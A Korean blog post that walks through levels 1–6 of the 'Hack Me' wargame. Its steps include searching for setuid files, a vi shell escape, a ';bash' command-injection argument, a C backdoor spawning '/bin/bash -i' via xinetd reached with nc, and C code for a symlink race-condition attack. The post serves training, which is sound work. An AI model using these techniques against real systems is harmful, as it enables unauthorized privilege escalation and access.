Study Record

[리버싱] Hack Me 풀이집1 (1단계 ~ 6단계) 본문

리버싱/Hack Me

[리버싱] Hack Me 풀이집1 (1단계 ~ 6단계)

초코초코초코 2021. 11. 15. 13:02
728x90

1단계 → 2단계

※ 1단계(level1) 패스워드 : "level1"

 

㉮ hint 를 확인한다.

# cat hint

㉯ find 명령어로 소유자가 level2 이고 setuid 비트가 걸려있는 파일을 찾는다.

# find -user level2 -perm -4000 2>/dev/null

㉰ /bin/ExecuteMe 를 실행시켜본다.

# /bin/ExecuteMe

레벨2의 권한으로 한가지 명령어를 실행시킬 수 있다면 가장 강력한 명령어는 "bash" 이다. bash 명령어로 레벨 2의 쉘을 획득하여 패스워드를 확인해볼 수 있다.

 

2단계 → 3단계

※ 2단계(level2) 패스워드 : "hacker or cracker"

 

㉮ hint 를 확인한다.

# cat hint

㉯ find 명령어로 다음 단계(level3)의 권한으로 실행시킬 수 있는 파일이 있는지 찾아본다.

# find / -user level3 -perm -4000 2>/dev/null

실행 결과 /usr/bin/editor 파일을 찾았다.

 

㉰ level3 권한으로 실행될 수 있는 편집기인 /usr/bin/editor 를 실행한다.

# /usr/bin/editor

vi 편집기는 ":!" 뒤에 명령어를 실행할 수 있다. 따라서, level3 권한으로 /bin/bash 를 실행하여 level3 권한을 갖는 쉘을 실행시켜본다.

 

㉱ level3 권한으로 실행된 쉘에서 my-pass 명령으로 패스워드를 확인한다.

 

3단계 → 4단계

※ 3단계(level3) 패스워드 : "can you fly?"

 

㉮ hint 를 확인한다.

# cat hint

힌트를 확인해보니 autodig 라는 프로그램은 dig 명령어를 실행시켜주는 프로그램인 것 같다. 

 

㉯ find 명령어로 level4 의 권한으로 실행할 수 있는 파일을 확인해보니 autodig 라는 파일을 찾았다. autodig 는 hint 파일에서 봤던 것처럼 dig 명령어를 실행하는 것 같다.

# find / -user4 level4 -perm -4000 2>/dev/null 

㉰ /bin/autodig 의 인자값으로 사이에 bash 명령어를 넣으면 중간에 배시쉘을 실행시킬 수 있을 것 같다.

# /bin/autodig "8.8.8.8 www.naver.com;" bash;"

level4 의 권한으로 쉘을 얻었다.

 

㉱ my-pass 명령으로 level4 의 패스워드를 확인한다.

# my-pass

 

4단계 → 5단계

※ 4단계(level4) 패스워드 : "suck my brain"

 

☞ 기초개념 - xinetd , nc CMD

https://laustudy.tistory.com/50 - xinetd

https://laustudy.tistory.com/57 - nc

 

㉮ 힌트를 확인해본다.

# cat hint

 

㉯ xinetd.d 의 내용을 확인해본다.

# ls -al /etc/xinetd.d

굉장히 수상해 보이는 backdoor 파일을 발견했다.

 

㉰ 수상해보이는 backdoor 파일을 분석해본다.

# cat /etc/xinetd.d/backdoor

"finger" 라는 서비스가 "level5" 사용자로 tcp 형태로 "/home/level4/tmp/backdoor" 이 실행될 것이다. backdoor 파일을 이용해서 level5 의 비밀번호를 알아낼 수 있을 것 같다.

# cat /etc/services | grep finger ; netstat -antup | grep :79;

finger 서비스의 포트는 79번인 것을 확인했다.

 

㉱ /home/level4/tmp/backdoor 을 만들어보자!

# vi /home/level4/tmp/backdoor.c; gcc -o /home/level4/tmp/backdoor /home/level4/tmp/backdoor.c;

#include <stdlib.h>
int main(){
	system("/bin/bash -i");
	return 0;
}

㉲ 실행될 프로그램(/home/level4/tmp/backdoor) 도 만들었으니 finger 서비스를 요청해본다.

# finger level4@localhost

제대로 동작하지 않는 것 같다.

제대로 동작하지 않는 이유는 "finger" 라는 프로그램을 사용해서 level4@localhost 를 인수값으로 요청을 하면 서버쪽에서 "finger" 서버 프로그램이 받은 인수값을 분석해서 원하는 동작을 수행하게 된다. 하지만 여기서 finger 프로그램은 고유의 프로토콜을 가지고 있다. 서버에 데이터를 전송할때 요청하는 값을 그대로 전달하는 것이 아니라 자기에 맞는 프로토콜을 사용해서 변형시켜 전달하게 된다. 따라서 서버쪽에서 finger 서버 프로그램이 finger 클라이언트 프로그램이 전송한 데이터를 받아 미리 정해둔 프로토콜에 따라 분석하면 문제가 없지만 우리는 finger 서버 프로그램이 아니라 /home/level3/tmp/backdoor 프로그램을 사용하기로 했기 때문에 제대로 동작하지 않는 것이다.

따라서 입력 값을 그대로 전송하는 telnet , nc 와 같은 명령어를 사용해서 접속해야 한다.

 

㉳ nc 명령어를 통해 다시 접속해본다.

# nc 192.168.10.240 79

정상적으로 접속이 되었다. my-pass 명령어로 5단계의 패스워드를 알아낼 수 있다.

 

※ xinetd 의 원격 백도어 특징

서비스 요청이 있지 않으면 데몬이 떠 있지 않은 상태이므로 관리자가 확인하기 어렵다. 

netstat 명령어로 확인이 가능하다.

 

5단계 → 6단계

※ 5단계(level5) 패스워드 : "what is your name?"

 

☞ 기초개념 - 레이스 컨디션

https://laustudy.tistory.com/58

 

㉮ 힌트를 확인해본다.

# cat hint

 

㉯ /usr/bin/level5 프로그램을 실행해보고 level5.tmp 라는 파일이 남아있는지 확인해본다.

/usr/bin/level5 는 프로그램 실행 도중 /tmp/level5.tmp 라는 임시파일을 생성했다가 프로그램을 종료하기 전에 삭제한다는 것을 알았다.

 

㉰ /usr/bin/level5 가 실행도중 생성하는 /tmp/level5.tmp 는 무슨 내용인지 알아보기 위해 레이스 컨디션 공격을 하기위 한 코드를 작성한다.

# vi Attack_target.c ; gcc -o Attack_target Attack_target.c

#include <unistd.h>

int main(){
    int i;
    system("touch /tmp/18pass.txt");
    for(i=0; i<=10; i++){
        system("ln -s /tmp/18pass.txt /tmp/level5.tmp");
    }
    system("cat /tmp/18pass.txt");
    system("rm -rf /tmp/18pass.txt");
}
/tmp/18pass.txt 파일을 만든다.
/tmp/18pass.txt 를 링크하는 /tmp/level5.tmp 를 만든다.
/tmp/18pass.txt 를 출력(cat) 한다. 이 때 /tmp/18pass.txt 는 /tmp/level5.tmp 를 링크하고 있기 때문에 /tmp/level5.tmp 의 내용을 보여준다.
/tmp/18pass.txt 파일을 삭제한다.

# vi runTarget.c ; gcc -o runTarget runTarget.c

#include <unistd.h>

main(){
        int i;
        for(i=0; i<=10; i++){
                system("/usr/bin/level5 &");
        }
}
/usr/bin/level5 를 백그라운드로 여러번 실행한다.

Attack_target.c 와 runTarget.c 에서 for문을 사용하여 여러번 실행하는 이유는 프로그램이 동시에 실행중일 때 싱크를 맞추기 위해서이다. 

싱크가 맞는 순간은 다음과 같은 순간이 된다.

Attack_target process runTarget process
() 프로그램 실행 
() /tmp/level5.tmp 파일 생성(/tmp/18pass.txt)
() runTarget 프로그램이 /tmp/level5.tmp 파일에 내용을 추가한 뒤 파일 내용 확인(/tmp/18pass.tmp)
() 파일 삭제(EX: rm -f /tmp/18pass.txt)
() 프로그램 종료
(
) 프로그램 종료

() 프로그램 실행
() /tmp/level5.tmp 파일을 생성할려고 하지만 미리 만들어져 있음
() 파일에 내용 추가
() 파일 삭제(EX: rm -f /tmp/level5.tmp)
() 프로그램 종료

# vi Attack_target.sh ; chmod 755 Attack_target.sh;

#!/bin/bash

./runTarget &
./Attack_target &

레이스 컨디션 공격을 실행할 프로그램을 만든다. (Attack_target.sh)

 

㉱ 레이스 컨디션 공격을 실행한다.

# ./Attack_target.sh

다음 단계의 패스워드를 얻었다. (what the hell)

+ 다시 테스트할때는 반드시 /tmp/18pass.txt 파일과 /tmp/level5.tmp 파일을 지워야 한다.

+ 스레드를 이용하여 테스트하는 코드도 만들 수 있다. (컴파일 : gcc -pthread)

 

6단계 → 7단계

※ 6단계(level6) 패스워드 : "what the hell"

 

☞ 기초개념 - Signal 

https://laustudy.tistory.com/58

 

㉮ 패스워드를 입력하면 BBS 화면이 나오는데 여기서 '엔터키' 를 누르면 텔넷 접속 서비스가 나오고 signal 신호(Ctrl + C) 를 제어해둔 것을 볼 수 있다.

 

㉯ hint 가 나오고 엔터를 치기 전에 제어신호(Ctrl + C)를 보내봤더니 통하는 것을 볼 수 있다. 들어간 쉘에서 패스워드 정보가 들어있을 법한 파일을 찾아 패스워드를 알아냈다.

㉰ 패스워드를 입력하고 나서 어떻게 BBS 화면이 나왔는지를 분석해본다.

# cat .bashrc

.bashrc 파일을 보니 처음 로그인을 하면 ./tn 파일이 실행되고 바로 로그아웃이 되는 것을 볼 수 있다. 아래의 그림에서 tn파일이 실행가능한 파일이라는 것도 확인했다.

 

728x90